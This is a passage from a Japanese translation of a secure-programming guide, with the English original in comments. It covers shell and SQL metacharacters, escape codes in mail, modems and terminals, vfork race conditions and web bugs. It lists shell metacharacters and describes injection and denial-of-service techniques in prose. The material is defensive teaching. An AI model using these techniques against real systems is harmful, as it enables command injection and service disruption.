ならば使用するようにしてください。完璧を期すなら、このテストをコンパイルや
インストール時に実行したらどうでしょうか(たとえば、「autoconf」スクリプト
の一部として)。
ある条件下では、この種の実行時テストは現実的ではありません。しかし別の
条件下では問題の多くを解消してくれます。
ライブラリの再実装に悩みたくたくなければ、少なくともライブラリが安全であること
を確認し、そうでなかった場合にはインストールを中断してください。
そうすれば、ユーザがうっかり安全でないプログラムをインストールする恐れがなく
なり、問題が何であるかを理解できます。
</para>
</sect1>

<sect1 id="limit-call-outs">
<!-- <title>Limit Call-outs to Valid Values</title> -->
<title>正しい値でだけ呼び出す</title>

<para>
<!--
Ensure that any call out to another program only permits valid
and expected values for every parameter.
This is more difficult than it sounds, because many
library calls or commands call lower-level routines in potentially
surprising ways.
For example, many system calls are implemented indirectly by
calling the shell, which means that passing characters which are shell
metacharacters can have dangerous effects.
So, let's discuss metacharacters.
-->
別のプログラムを呼び出す場合はいつでも、常にパラメタとして有効かつ事前に
予想されている値だけを許可していることを確認する必要があります。
これは言うよりもずっと困難です。と言うのも、さまざまなライブラリ関数や
コマンドが、低レベルの関数を意外な方法で呼び出しているかもしれないからです。
たとえば、システムコールの多くは間接的にシェルから実行されます。つまり
文字を渡すのに当たって、シェルのメタキャラクタが危険な結果を引き起こす
可能性があります。
では、ここでメタキャラクタについて論じましょう。
</para>
</sect1>

<sect1 id="handle-metacharacters">
<!-- <title>Handle Metacharacters</title> -->
<title>メタキャラクタを扱う</title>

<para>
<!--
Many systems, such as the command line shell and SQL interpreters,
have ``metacharacters'', that is, characters in their input
that are not interpreted as data.
Such characters might commands, or delimit data from commands or other data.
If there's a language specification for that system's interface
that you're using, then it certainly has metacharacters.
If your program invokes those other systems and allows attackers to
insert such metacharacters, the usual result is that an attacker can
completely control your program.
-->
システムの多く、たとえばコマンドライン・シェルや SQL インタプリタには、
「メタキャラクタ」が存在します。つまり入力中のある文字が、データとして
解釈されません。
そのような文字はコマンドであったり、コマンドや他のデータからあるデータを
区別するための識別子であったりします。
使用しているシステムのインタフェースに言語仕様があるなら、きっとメタキャラクタ
が含まれているはずです。
プログラムが他のシステムを実行するようになっていて、攻撃者がそのような
メタキャラクタを入れ込めるなら、攻撃者は完全にプログラムをコントロールして
しまう、というのがお決まりの結末です。
</para>

<para>
<!--
One of the most pervasive metacharacter problems are those involving
shell metacharacters.
The standard Unix-like command shell (stored in /bin/sh)
interprets a number of characters specially.
If these characters are sent to the shell, then their special interpretation
will be used unless escaped; this fact can be used to break programs.
According to the WWW Security FAQ [Stein 1999, Q37], these metacharacters are:
-->
メタキャラクタの問題で最も広範囲に渡っているのは、シェルのメタキャラクタです。
標準的な Unix ライクなコマンド・シェル(/bin/sh 内蔵の)は、かなりの数の文字を
特別扱いします。
これらの文字がシェルに渡ると、エスケープしていない限り、特別に解釈されます。
この事実を悪用して、プログラムがおかしくさせられてきました。
WWW Security FAQ [Stein 1999, Q37]によれば、そのようなメタキャラクタは下記の
ものです。
<screen width="61">
&amp; ; ` ' \ " | * ? ~ &#60; &#62; ^ ( ) [ ] { } $ \n \r
</screen>
</para>

<para>
<!--
I should note that in many situations you'll also want to escape
the tab and space characters, since they (and the newline) are the default
parameter separators.
The separator values can be changed by setting the IFS environment
variable, but if you can't trust the source of this variable you should
have thrown it out or reset it anyway as part of your environment
variable processing.
-->
注意すべきは、タブや空白文字をエスケープしたい場面がいろいろあるのでは、
という点です。それら(と改行)はパラメタのデフォルトのセパレタだからです。
セパレタの値は IFS 環境変数を設定して変更できますが、この変数の出所が信用
できないなら、その値を破棄するか、環境変数を処理する過程で何らかの方法で
リセットしてください。
</para>

<para>
<!--
Unfortunately, in real life this isn't a complete list.
Here are some other characters that can be problematic:
-->
あいにく、完全なリストは現実には存在しません。ここでは疑わしいと思われる
文字を他にもいくつか挙げておきます。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Martin Douda provided this list of ! through *; I added the note
     about control characters -->
<itemizedlist>
<listitem><para>
<!--
'!' means ``not'' in an expression (as it does in C);
    if the return value of a program is tested, prepending !
    could fool a script into thinking something had failed when it
    succeeded or vice versa.
    In some shells, the "!" also accesses the command history, which can
    cause real problems.
    In bash, this only occurs for interactive mode, but tcsh
    (a csh clone found in some Linux distributions) uses "!" even in scripts.
-->
「!」は式ではありません(C では式ですが)。
プログラムの返り値をテストするなら、接頭語に ! があると、スクリプトを欺いて
実際には成功していようが、失敗していようが関係なく、何かが失敗したように
なります。
シェルには、コマンド履歴にアクセスするのにも「!」を使うものがあります。これが
現実に問題になる場合があります。
bash ではこれは対話モードの場合にだけ発生しますが、tcsh(csh のクローンで、
入っている Linux ディストリビューションもあります)では「!」をスクリプト内
でも使っています。
</para></listitem>

<listitem><para>
<!--
'#' is the comment character; all further text on the line is ignored.
-->
「#」はコメント文字として使います。この文字以降のテキストは無視されます。
</para></listitem>

<listitem><para>
<!--
'-' can be misinterpreted as leading an option (or, as -&nbsp;-, disabling
all further options).  Even if it's in the ``middle'' of a filename,
if it's preceded by what the shell considers as whitespace you may
have a problem.
-->
「-」は間違ってオプションの開始と解釈される恐れがあります(もしくは、-&nbsp;-
として、すべてのオプション機能を無効にしてしまう)。たとえ、ファイル名の「中に」
入っていたとしても、シェルが事前に空白と認識してしまうと困ったことになります。
</para></listitem>

<listitem><para>
<!--
' ' (space), '\t' (tab), '\n' (newline), '\r' (return),
'\v' (vertical space), '\f' (form feed),
and other whitespace characters may turn a ``single'' filename
into multiple arguments.
-->
「 」(空白)や「\t」(タブ)、「\n」(改行)、「\r」(リターン)、「\v」
(垂直スペース)、「\f」(フォーム・フィード)等の空白文字は、「1 つ」の
ファイル名を複数の引数にしてしまいます。
</para></listitem>

<listitem><para>
<!--
Other control characters (in particular, NIL) may cause problems for
some shell implementations.
-->
その他の制御文字(特に NIL)は、シェルの実装によっては問題を起こすかも
しれません。
</para></listitem>

<listitem><para>
<!--
Depending on your usage, it's even conceivable that ``.''
(the ``run in current shell'') and ``='' (for setting variables) might
be worrisome characters.
However, any example I've found so far where these
are issues have other (much worse) security problems.
-->
使い方にもよりますが、「.」(「カレントシェルで実行」)や「=」(変数を設定)
は、厄介な文字です。
しかし、これまで見てきた例の限りでは、その他に(もっと厄介な)セキュリティ上
の問題が存在しています。
</para></listitem>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- 
  '.' run in current shell - also could be harmful alloving to modify
    execution environment

  '=' for variables, again modifying execution environment

  (*) depending on programs called from script any other character can cause
  problems.
-->
</itemizedlist>

</para>


<para>
<!--
What makes the shell metacharacters particularly pervasive is
that several important library calls, such as popen(3) and system(3),
are implemented by calling the command shell, meaning that they will
be affected by shell metacharacters too.
Similarly, execlp(3) and execvp(3) may cause the shell to be called.
Many guidelines suggest avoiding popen(3), system(3), execlp(3), and execvp(3)
entirely and use execve(3) directly in C when trying to spawn
a process [Galvin 1998b].
At the least, avoid using system(3) when you can use the execve(3);
since system(3) uses the shell to expand characters, there is more
opportunity for mischief in system(3).
In a similar manner the Perl and shell backtick (`) also call a command shell;
for more information on Perl see <xref linkend="perl">.
-->
シェルのメタキャラクタの影響が著しく広範囲になってしまっているのは、いくつ
かの重要なライブラリ・コール、たとえば popen(3)や system(3)、がコマンドシェル
を呼び出して実行するからです。つまり、シェルのメタキャラクタからも影響を受けて
います。
同様に execlp(3)や execvp(3)もシェルを呼び出す仕組みになっています。
popen(3)や system(3)、execlp(3)、execvp(3)をまったく使用しないように提案して
いるガイドラインが多く、プロセスを生成する場合には execve(3)を C 言語から
直接呼び出すように提案しています [Galvin 1998b]。
とにかく、execve(3)が使えるなら、system(3)の使用を避けてください。system(3)は
シェルを使って文字を展開しますので、危険がさらに広がります。
同様に Perl や シェルのバッククォート(`)もコマンドシェルを呼び出せます。
Perl についての詳しい情報は <xref linkend="perl">を見てください。
</para>

<para>
<!--
Since SQL also has metacharacters, a similar issue revolves around
calls to SQL.
See
<ulink url="http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf">
SPI Dynamic's paper ``SQL Injection: Are your Web Applications Vulnerable?''
</ulink>
for further discussion on this.
As discussed in <xref linkend="input">,
define a very limited pattern and only allow data matching that
pattern to enter; if you limit your pattern to ^[0-9]$ or
^[0-9A-Za-z]*$ then you won't have a problem.
If you must handle data that may include SQL metacharacters, a good approach
is to convert it (as early as possible) to some other encoding before
storage, e.g.,
HTML encoding (in which case you'll need to encode any ampersand characters
too).
Also, prepend and append a quote to all user input, even
if the data is numeric; that way, insertions of white space and other
kinds of data won't be as dangerous.
-->
SQL にもメタキャラクタがありますので、同じような問題が SQL の呼び出しにも
存在しています。
<ulink url="http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf">
SPI Dynamic's paper ``SQL Injection: Are your Web Applications Vulnerable?''
</ulink> を見てください。
この点についてさらに論じていきましょう。
<xref linkend="input">で論じた通り、非常に限定的なパタンを定義して、
パタンにマッチした入力だけを許可するようにしてください。パタンを 
^[0-9]$ もしくは ^[0-9A-Za-z]*$ に制限してあるなら、問題は起こらないでしょう。
SQL メタキャラクタが入ったデータを扱う必要があるなら、それを何か別の符号に
変換してから(できるだけ早いうちに)、保存してください。たとえば、HTML 
エンコードのように(この場合は、アンパサンド文字を符号化してやる必要があります)。
また引用符でユーザの入力すべてを囲んでください。たとえデータが数字であっても
です。そうすれば、空白や他の種類のデータは危険ではなくなります。
</para>

<para>
<!--
Forgetting one of these characters can be disastrous, for example,
many programs omit backslash as a shell metacharacter [rfp 1999].
As discussed in the <xref linkend="input">, a recommended approach
by some
is to immediately escape at least all of these characters when they are input.
But again, by far and away the best approach is to identify which
characters you wish to permit, and use a filter to only permit
those characters.
-->
これらの文字の 1 つでも忘れると災難を被るかもしれません。たとえば、プログラム
の多くは、バックスラッシュをシェルのメタキャラクタとして削除してしまいます
[rfp 1999]。
<xref linkend="input">で論じたように、推奨する解決方法は、入力されたらすぐ、
それらの文字をともかくエスケープする方法です。
しかし、はるかに適切な解決方法は、どの文字を許可するのかを自分で特定する
方法です。そして、それらの文字だけを許可するようにフィルタをかけます。
</para>

<para>
<!--
A number of programs, especially those designed for human interaction,
have ``escape'' codes that perform ``extra'' activities.
One of the more common (and dangerous) escape codes is one that brings
up a command line.
Make sure that these ``escape'' commands can't be included
(unless you're sure that the specific command is safe).
For example, many line-oriented mail programs (such as mail or mailx) use
tilde (~) as an escape character, which can then be used to send a number
of commands.
As a result, apparently-innocent commands such as
``mail admin < file-from-user'' can be used to execute arbitrary programs.
Interactive programs such as vi, emacs, and ed have ``escape'' mechanisms
that allow users to run arbitrary shell commands from their session.
Always examine the documentation of programs you call to search for
escape mechanisms.
It's best if you call only programs intended for use by other programs; see
<xref linkend="call-intentional-apis">.
-->
プログラムには、人間とやり取りするべく設計されたものがたくさんあります。
そのようなプログラムは、「特別な」行為を実現する「エスケープ」コードが
あります。
もっと一般的(で危険)なエスケープコードの 1 つに、コマンドラインを立ち上げる
というものがあります。
このような「エスケープ」コマンドが絶対無いようにしてください
(さもなければ、そのコマンドが確実に安全であるようにしてください)。
たとえば、コマンドライン指向のメール・プログラム(mail やmailx のような)では、
チルダ(~)をエスケープキャラクタとして使っています。チルダは多量のコマンド
を送る場合に使われてきました。
明らかに無害なコマンド、たとえば、「mail admin < file-from-user」
が、結果的に任意のプログラムを実行するのに利用できます。
vi や emacs、ed のような対話形式のプログラムは、「エスケープ」する仕組みを
持っていて、ユーザがプログラム実行中に任意のシェル・コマンドを走らせられます。
呼び出すプログラムのドキュメントをいつも調べて、エスケープする仕組みがないか
調査してください。
他のプログラムを呼び出すなら、利用したいものだけを呼び出すようにするのが適切
です。<xref linkend="call-intentional-apis"> を見てください。
</para>

<para>
<!--
The issue of avoiding
escape codes even goes down to low-level hardware components
and emulators of them.
Most modems implement the so-called ``Hayes'' command set.
Unless the command set is disabled, inducing
a delay, the phrase ``+++'', and then another delay forces the modem
to interpret any following text as commands to the modem instead.
This can be used to implement denial-of-service attacks (by
sending ``ATH0'', a hang-up command) or even forcing
a user to connect to someone else (a sophisticated attacker could
re-route a user's connection through a machine under the attacker's control).
For the specific case of modems, this is easy to counter
(e.g., add "ATS2-255" in the modem initialization string), but the
general issue still holds: if you're controlling a lower-level component,
or an emulation of one, make sure that you disable or otherwise handle
any escape codes built into them.
-->
エスケープコードを回避する問題は、対象範囲が低レベルなハードウェアの部品や
それをエミュレートするものにまで広がります。
モデムにはたいてい「Hayes」と呼ばれている命令セットが実装してあります。
この命令セットが有効になっていると、遅延を発生させる「+++」というフレーズ
やそれにともなう別の遅延によって、そのコマンドに続くテキストがモデムに対する
コマンドと解釈されます。
これはサービス拒否攻撃の実行に利用できますし(「ATH0」を送ることで、モデムを
ハングアップさせます)、ユーザを別の所に接続させることさえ可能です(巧妙な
攻撃者なら攻撃者が制御しているマシンを経由するように、ユーザの接続の経路を
変えてしまいます)。
ケースをモデムに限定すれば、対処するのは簡単です(たとえば、モデムの初期化
文字列「ATS2-255」を加えておきます)。しかしまだ一般的な問題は残っています。
低レベルな部品やそのエミュレータを制御しているなら、必ずそれらに組み込んで
あるエスケープコードを無効にするか、対策を施してください。
</para>

<para>
<!--
Many ``terminal'' interfaces implement the escape
codes of ancient, long-gone physical terminals like the VT100.
These codes can be useful, for example, for bolding characters,
changing font color, or moving to a particular location
in a terminal interface.
However, do not allow arbitrary untrusted data to be sent directly
to a terminal screen, because some of those codes can cause serious problems.
On some systems you can remap keys (e.g., so when a user presses
"Enter" or a function key it sends the command you want them to run).
On some you can even send codes to
clear the screen, display a set of commands you'd like the victim to run,
and then send that set ``back'', forcing the victim to run
the commands of the attacker's choosing without even waiting for a keystroke.
This is typically implemented using ``page-mode buffering''.
This security problem is why emulated tty's (represented as device files,
usually in /dev/) should only be writeable by
their owners and never anyone else - they should never have
``other write'' permission set, and unless only the user is a member of
the group (i.e., the ``user-private group'' scheme), the ``group write''
permission should not be set either for the terminal [Filipski 1986].
If you're displaying data to the user at a (simulated) terminal, you probably
need to filter out all Control characters (characters with values less
than 32) from data sent back to
the user unless they're identified by you as safe.
Worse comes to worse, you can identify tab and newline (and maybe
carriage return) as safe, removing all the rest.
Characters with their high bits set (i.e., values greater than 127)
are in some ways trickier to handle; some old systems implement them as
if they weren't set, but simply filtering them inhibits much international
use.
In this case, you need to look at the specifics of your situation.
-->
「端末」インタフェースでは、既になくなって久しい VT100 のような昔の端末の
エスケープコードを実装しているケースが多くあります。
これらコードはとても便利で、端末のインタフェースを使って、たとえば文字を太く
したり、フォントの色を変えたり、特定の位置に移動したりできます。
しかし、直接端末のスクリーンに任意の信頼できないデータの送出を認めてはいけ
ません。というのは、コードによっては重大な問題を引き起こすものがあるからです。
システムには、キーの割り当てを変更できるものもあります(たとえば、ユーザが
「Enter」もしくはファンクションキーを押すことで、望みのコマンドを送って実行
できます)。
中には、コードを送ってスクリーンをクリアしたり、犠牲者となる人に実行させたい
コマンドを表示できたりするものもあります。表示させておいて、画面を「元に戻す」
命令を送って、キーが押されるのを待たずに攻撃者が選んだ命令を実行させてしまい
ます。
これは通常「ページモード・バッファリング」という機能を使って実現しています。
このセキュリティ上の問題は、仮想 tty(デバイスファイルとして提供されていて、
通常は /dev にあります)が所有者にだけ書き込みが可能で、他には誰も書き込めない
ようにすべきである理由になっています。決して「その他の書き込み」パーミッション
を設定してあってはいけません。また、ユーザがグループ(つまり「ユーザプライベート
グループ」という手法)のメンバーだけでないなら、「グループによる書き込み」
パーミッションも端末に対してかけるべきではありません[Filipski 1986]。
ユーザに対してデータを(擬似)端末で表示しているなら、安全を確認していない限り
すべての制御文字(32 よりも小さい値の文字)をフィルタして、ユーザに戻すデータ
から取り除く必要があります。
最悪の状況では、タブや改行(おそらく復帰改行も)を安全とした上で、残りすべて
を排除します。
ハイビットが立っている文字(つまり 127 より大きい値)を扱うにはテクニック
を要します。古いシステムには、ビットが立っていないがごとく実行してしまうもの
があります。しかし単にそれらの文字をフィルタリングすると、いろいろな国の言葉
の使用を禁じてしまいます。
この場合はケースに応じて見ていく必要があります。
</para>

<para>
<!--
A related problem is that the NIL character (character 0) can have
surprising effects.
Most C and C++ functions assume
that this character marks the end of a string, but string-handling routines
in other languages (such as Perl and Ada95) can handle strings containing NIL.
Since many libraries and kernel calls use the C convention, the result
is that what is checked is not what is actually used [rfp 1999].
-->
これに関連して、NIL キャラクタ(キャラクタの 0)が意外な影響を及ぼす問題が
あげられます。
C や C++ の関数の大部分は、NIL キャラクタが文字列の終端の印と想定して
いますが、他の言語(Perl や Ada95 等)の文字列を扱う関数は NIL を文字列の
一部として扱います。
ライブラリやカーネルの呼び出しは C の扱いを踏襲していますので、チェック
する内容と実際使用される内容が一致しません[rfp 1999]。
</para>

<para>
<!--
When calling another program or referring to a file
always specify its full path (e.g, <filename>/usr/bin/sort</filename>).
-->
他のプログラムを呼び出したり、ファイルを参照したりする時には、いつもフルパス
(たとえば <filename>/usr/bin/sort</filename>)のように)で指定するようにして
ください。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I believe a Corel vulnerability is based on "sort" not being listed
     as /usr/bin/sort -->
<!--
For program calls,
this will eliminate possible errors in calling the ``wrong'' command,
even if the PATH value is incorrectly set.
For other file referents, this reduces problems from ``bad'' starting
directories.
-->
こうすることで、「間違った」コマンドを呼び出す際に生じるエラーを無くす
だけでなく、PATH 環境変数が間違って設定されていてもエラーを回避できます。
他のファイルの参照についても、「間違った」開始パスを指定した結果生じる問題
を減らせます。
</para>

</sect1>

<sect1 id="call-intentional-apis">
<!-- <title>Call Only Interfaces Intended for Programmers</title> -->
<title>プログラマ向けのインタフェースだけを呼び出す</title>

<para>
<!--
Call only application programming interfaces (APIs) that are
intended for use by programs.
Usually a program can invoke any other program,
including those that are really designed for human interaction.
However, it's usually unwise to invoke a program intended for human
interaction in the same way a human would.
The problem is that programs's human interfaces are intentionally rich
in functionality and are often difficult to completely control.
As discussed in <xref linkend="handle-metacharacters">,
interactive programs often have ``escape'' codes,
which might enable an attacker to perform undesirable functions.
Also, interactive programs often try to intuit the ``most likely'' defaults;
this may not be the default you were expecting, and an attacker may find
a way to exploit this.
-->
プログラム向けに用意されているアプリケーション・プログラミング・インタフェース
(API)だけを呼び出すようにしてください。
通常プログラムは他のプログラムを呼び出します。これには、実際に人とやり取り
するように設計されたプログラムも含まれます。
しかしプログラムを呼び出すのに、人がやり取りするようにプログラムを設計するの
では十分ではありません。
プログラムのヒューマン・インタフェースがことさら機能豊富であるが故に、
完璧に制御するのが困難になっている点が問題になります。
<xref linkend="handle-metacharacters"> で論じたように、対話的なプログラムには
「エスケープ」コードがよくあります。こうなると、攻撃者が不適切な機能を実行
できてしまいます。
また、対話的なプログラムは「多分そうだろう」というデフォルトの設定を実行しよう
とします。
これが期待しているデフォルトの動作ではないかもしれません。攻撃者は、これに
つけ込む手段を見つけるかもしれません。
</para>

<para>
<!--
Examples of programs you shouldn't normally call directly include
mail, mailx, ed, vi, and emacs.
At the very least, don't call these without checking
their input first.
-->
通常直接呼び出してはいけないプログラムには、mail や mailx、ed、vi、emacs 
があります。
最低限これらのプログラムの入力をまずチェックしてから、呼び出してください。
</para>

<para>
<!--
Usually there are parameters to give you safer access to the program's
functionality,
or a different API or application that's intended for use by programs;
use those instead.
For example, instead of invoking a text editor to edit some text
(such as ed, vi, or emacs), use sed where you can.
-->
通常は安全なアクセスをするために、プログラム機能としてパラメタがあった
り、別の API を持っていたり、それらを使わないでプログラム専用のアプリケーション
があったりします。
たとえば、テキスト・エディタ(ed や vi、emacs のような)を呼び出してテキスト
を編集する代わりに、sed が使えます。
</para>
</sect1>


<sect1 id="check-returns">
<!-- <title>Check All System Call Returns</title> -->
<title>システムコールの返り値はすべてチェックする</title>

<para>
<!--
Every system call that can return an error condition must have that
error condition checked.
One reason is that nearly all system calls require limited system resources,
and users can often affect resources in a variety of ways.
Setuid/setgid programs can have limits set on them through calls such as
setrlimit(3) and nice(2).
External users of server programs and CGI scripts
may be able to cause resource exhaustion simply by making a large number
of simultaneous requests.
If the error cannot be handled gracefully, then fail safe as discussed earlier.
-->
システムコールでエラー状況を返せるものは、すべてそのエラー状態をチェックする
必要があります。
まず理由としてあげられるのは、システムコールのほとんどすべてが、限られた
システム・リソースを対象としており、そのリソースに対してユーザはさまざまな
方法で影響を与えられるからです。
setuid や setgid されたプログラムには、setrlimit(3)や nice(2)のようなシステム
コールを呼び出すことで、そのプログラムで使用するリソースの制限ができます。
サーバプログラムを利用する外部のユーザや CGI スクリプトは、同時に多量の
リクエストをサーバに要求してリソースを食い潰せます。
エラーを適切に扱えないならば、既に述べたフェイル・セーフにしてください。
</para>

</sect1>

<sect1 id="avoid-vfork">
<!-- <title>Avoid Using vfork(2)</title> -->
<title>vfork(2)は使わない</title>

<para>
<!--
The portable way to create new processes in Unix-like systems
is to use the fork(2) call.
BSD introduced a variant called vfork(2) as an optimization technique.
In vfork(2), unlike fork(2),  the child borrows the parent's memory
and thread of control until a call to execve(2V) or an exit occurs;
the parent process is suspended while the child is using its resources.
The rationale is that in old BSD systems, fork(2) would actually cause
memory to be copied while vfork(2) would not.
Linux never had this problem; because Linux used copy-on-write
semantics internally, Linux only copies pages when they changed
(actually, there are still some tables that have to be copied; in most
circumstances their overhead is not significant).
Nevertheless, since some programs depend on vfork(2),
recently Linux implemented the BSD vfork(2) semantics
(previously vfork(2) had been an alias for fork(2)).
-->
Unix ライクなシステムで新しいプロセスを簡単にかつ移植性を持たせて作成する
には、fork(2) システムコールを使用します。
BSD は vfork(2)と呼ばれるシステムコールを導入して、手法の最適化を図りました。
vfork(2)は fork(2)とは異なり、execve(2V)を呼び出すか、exit するまでは、
子プロセスが親プロセスのメモリや制御スレッドを借りています。
親プロセスは子プロセスがそのリソースを使っている間、サスペンドします。
古い BSD では fork(2)がメモリを実際にコピーするのに対して、vfork(2)では
そうしない点が基本です。
Linux ではこの問題はまったく発生しません。なぜなら、Linux は内部ではコピー・
オン・ライト方式を使っていて、変更があった時にだけページをコピーします
(実際は、他にもまだコピーしなければいけないテーブルがいくつか存在します。
大部分の動作環境では、このオーバーヘッドはそれほど重くはありません)。
にもかかわらず、vfork(2)を使ったプログラムがいくつか存在するので、最近に
なって Linux で BSD の vfork(2) 方式を実装しました(それまでは、vfork(2) は
fork(2)のエイリアスでした)。
</para>

<para>
<!--
There are a number of problems with vfork(2).
From a portability point-of-view,
the problem with vfork(2) is that it's actually fairly tricky for a
process to not interfere with its parent, especially in high-level languages.
The ``not interfering'' requirement applies to the actual machine code
generated, and many compilers generate hidden temporaries and other
code structures that cause unintended interference.
The result: programs using vfork(2) can easily fail when the code changes
or even when compiler versions change.
-->
vfork(2) にはかなり問題があります。
移植性の点からすると、vfork(2)は、親プロセスに干渉しないようにするのに、
実のところかなりトリッキーところがあります。特に高レベルな言語においてその点
が顕著です。
「干渉しない」ようにするには、実際に生成されるマシンコードに反映する必要
があります。また、コンパイラは表に出ない一時的な生成物や予想外の干渉を
起こすコードを構成してしまうケースが多くあります。
結論として、vfork(2)を使っているプログラムは、コードが変わったり、コンパイラ
のバージョンが変わったりするだけでたいてい機能しなくなります。
</para>

<para>
<!--
For secure programs it gets worse on Linux systems, because
Linux (at least 2.2 versions through 2.2.17) is vulnerable to a
race condition in vfork()'s implementation.
If a privileged process uses a vfork(2)/execve(2) pair in Linux
to execute user commands, there's a race condition
while the child process is already running as the user's
UID, but hasn`t entered execve(2) yet.
The user may be able to send signals, including SIGSTOP, to this process.
Due to the semantics of
vfork(2), the privileged parent process would then be blocked as well.
As a result, an unprivileged process could cause the privileged process
to halt, resulting in a denial-of-service of the privileged process' service.
FreeBSD and OpenBSD, at least, have code to specifically deal with this
case, so to my knowledge they are not vulnerable to this problem.
My thanks to Solar Designer, who noted and documented this
problem in Linux on the ``security-audit'' mailing list on October 7, 2000.
-->
Linux システム上の安全が必要なプログラムにとって、これはさらに状況を悪くします。
なぜなら、Linux(少なくとも バージョン 2.2 の 2.2.17 まで)は vfork()の実装
に競合状態が起こる脆弱性があるからです。
Linux で特権プロセスがユーザのコマンドを実行するのに vfork(2) と execve(2)
をペアで使っていると、競合状態が発生します。子プロセスが既にユーザの uid 
で動作しているが、execve(2)はしていないケースです。
ユーザが SIGSTOP を含むシグナルをそのプロセスに送れるかもしれません。
vfork(2)方式では、特権を持った親プロセスも子プロセスと同様にブロックされます。
結果的に、特権を持っていないプロセスが、特権を持ったプロセスを中断させられ
ます。つまりこれは、特権を持ったプロセスのサービスに対するサービス拒否攻撃に
なります。
少なくとも FreeBSD と OpenBSD では、このケースに対処するコードが入っています。
この問題に対する脆弱性は、知っている限りありません。
Solar Designer 氏に感謝しています。彼は 2000 年 10 月 7 日に security-audit 
メーリングリストで Linux において、この問題に言及し、証拠を示してくれました。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- 
http://www.geocrawler.com/search/?config=302&words=Designer+vfork
http://www.geocrawler.com/archives/3/302/2000/10/0/4460856/
-->
</para>

<para>
<!--
The bottom line with vfork(2) is simple:
<emphasis remap="it">don't</emphasis> use vfork(2) in your programs.
This shouldn't be difficult; the primary use of vfork(2) is to support old
programs that needed vfork's semantics.
-->
vfork(2)について、結論ははっきりしています。
プログラムでは vfork(2)を<emphasis remap="it">使わない</emphasis>、です。
こうするのは難しくないはずです。vfork(2)を主に使用するのは、vfork 方式を必要と
している古いプログラムをサポートするためだからです。
</para>
</sect1>

<sect1 id="embedded-content-bugs">
<!-- <title>Counter Web Bugs When Retrieving Embedded Content</title> -->
<title>組込みコンテンツの読み込み時に発生する Web バグに対処する</title>
<para>
<!--
Some data formats can embed references to content that is automatically
retrieved when the data is viewed (not waiting for a user to select it).
If it's possible to cause this data to be retrieved through the
Internet (e.g., through the World Wide Wide), then there is a
potential to use this capability to obtain information about readers
without the readers' knowledge, and in some cases to force the reader
to perform activities without the reader's consent.
This privacy concern is sometimes called a ``web bug.''
-->
データフォーマットには、コンテンツへの参照を組み込むめるものもあります。
この参照は、データを見た時に自動的に読み出されます(ユーザが選択するのを
待たずに)。
このデータがインターネット経由(全世界から広く)で読み出せるなら、この機能を
使って読者についての知見がなくても、情報を取得できる可能性があります。また場合
によっては、読者に承諾を得ないまま強制的に動作させることも可能です。
このプライバシーに関連する問題を「Web バグ」と呼ぶ場合があります。
</para>

<para>
<!--
In a web bug, a reference is intentionally inserted into a document
and used by the content author to track
who, where, and how often a document is read.
The author can also essentially watch how a ``bugged'' document
is passed from one person to another or from one organization to another. 
-->
Web バグを使って、ドキュメントの中にあらかじめ参照を埋め込みます。コンテンツの
著者は、誰が、どこで、どんな方法でドキュメントを読んだのか追跡するのに、これを
利用します。
また著者は基本的にはどのように「盗み見されている」ドキュメントがある人から
別の人へ、ある組織から別の組織へとどのように渡っていくのかも見張れます。
</para>

<para>
<!--
The HTML format has had this issue for some time.
According to the
<ulink url="http://www.privacyfoundation.org">Privacy Foundation</ulink>:
-->
HTML フォーマットは以前からこの問題を抱えていました。
<ulink url="http://www.privacyfoundation.org">Privacy Foundation</ulink> に
よれば、
<blockquote>
<para>
<!--
Web bugs are used extensively today by Internet
advertising companies on Web pages and
in HTML-based email messages for tracking.
They are typically 1-by-1 pixel in size to make them
invisible on the screen to disguise the fact that they are used for tracking.
However, they could be any image (using the img tag);
other HTML tags that can implement web bugs, e.g., frames,
form invocations, and scripts.
By itself, invoking the web bug will provide the ``bugging'' site the
reader IP address, the page that the reader visited, and various information
about the browser; by also using cookies it's often possible to determine
the specific identify of the reader.
A survey about web bugs is available at
<ulink url="http://www.securityspace.com/s_survey/data/man.200102/webbug.html">http://www.securityspace.com/s_survey/data/man.200102/webbug.html</ulink>.
-->
インターネットで広告を扱う会社は、今日 Web バグを Web ページ上で広く利用して
います。また追跡調査を行うために HTML ベースの電子メールでも使われています。
それらは、普通大きさが 1 x 1 ピクセルで、スクリーン上では目に見えず、追跡調査
に使われているのを隠しています。
しかし、それらは(img タグを使った)画像ではありません。
他に Web バグを実行している HTML タグには、たとえば、フレームやフォーム
呼び出し、スクリプトがあります。
単独で Web バグを実行すると「盗聴」サイトに対して、読者の IP アドレスや
読者が訪れたページ、ブラウザについてのさまざまな情報を提供します。クッキーを
あわせて利用すると、読者を個別に特定できるようになります。
Web バグについての概要については、
<ulink url="http://www.securityspace.com/s_survey/data/man.200102/webbug.html">http://www.securityspace.com/s_survey/data/man.200102/webbug.html</ulink>
で見られます。
</para>
</blockquote>
</para>

<para>
<!--
What is more concerning is that other document formats seem to have
such a capability, too.
When viewing HTML from a web site with a web browser, there are other
ways of getting information on who is browsing the data, but when
viewing a document in another format from an email few users expect
that the mere act of reading the document can be monitored.
However, for many formats, reading a document can be monitored.
For example, it has been recently determined that Microsoft Word can
support web bugs;
see
<ulink url="http://www.privacyfoundation.org/advisories/advWordBugs.html">
the Privacy Foundation advisory for more information </ulink>.
As noted in their advisory,
recent versions of Microsoft Excel and Microsoft Power Point can also
be bugged.
In some cases, cookies can be used to obtain even more information.
-->
もっと心配なのは、他のドキュメントのフォーマットがそのような機能も持っている
ように見える点です。
Web サイトにある HTML を Web ブラウザで見る時に、誰がデータをブラウジング
しているかという情報を取得する方法が別にあります。しかし、電子メールのような
別のフォーマットのドキュメントを見る時に、ドキュメントを読んだだけで監視され
てしまうと想像できるユーザはほとんどいません。
たとえば、最近になって Microsoft Word は Web バグのサポートを決定しました。
<ulink url="http://www.privacyfoundation.org/advisories/advWordBugs.html">
the Privacy Foundation advisory for more information </ulink> を見てください。
その勧告で言及しているように、最近のバージョンの Microsoft Excel や 
Microsoft Power Point も盗み見できます。
場合によっては、クッキーはさらに情報を取得するのに利用できます。
</para>

<para>
<!--
Web bugs are primarily an issue with the design of the file format.
If your users value their privacy, you probably will want to limit the
automatic downloading of included files.
One exception might be when the file itself is being downloaded
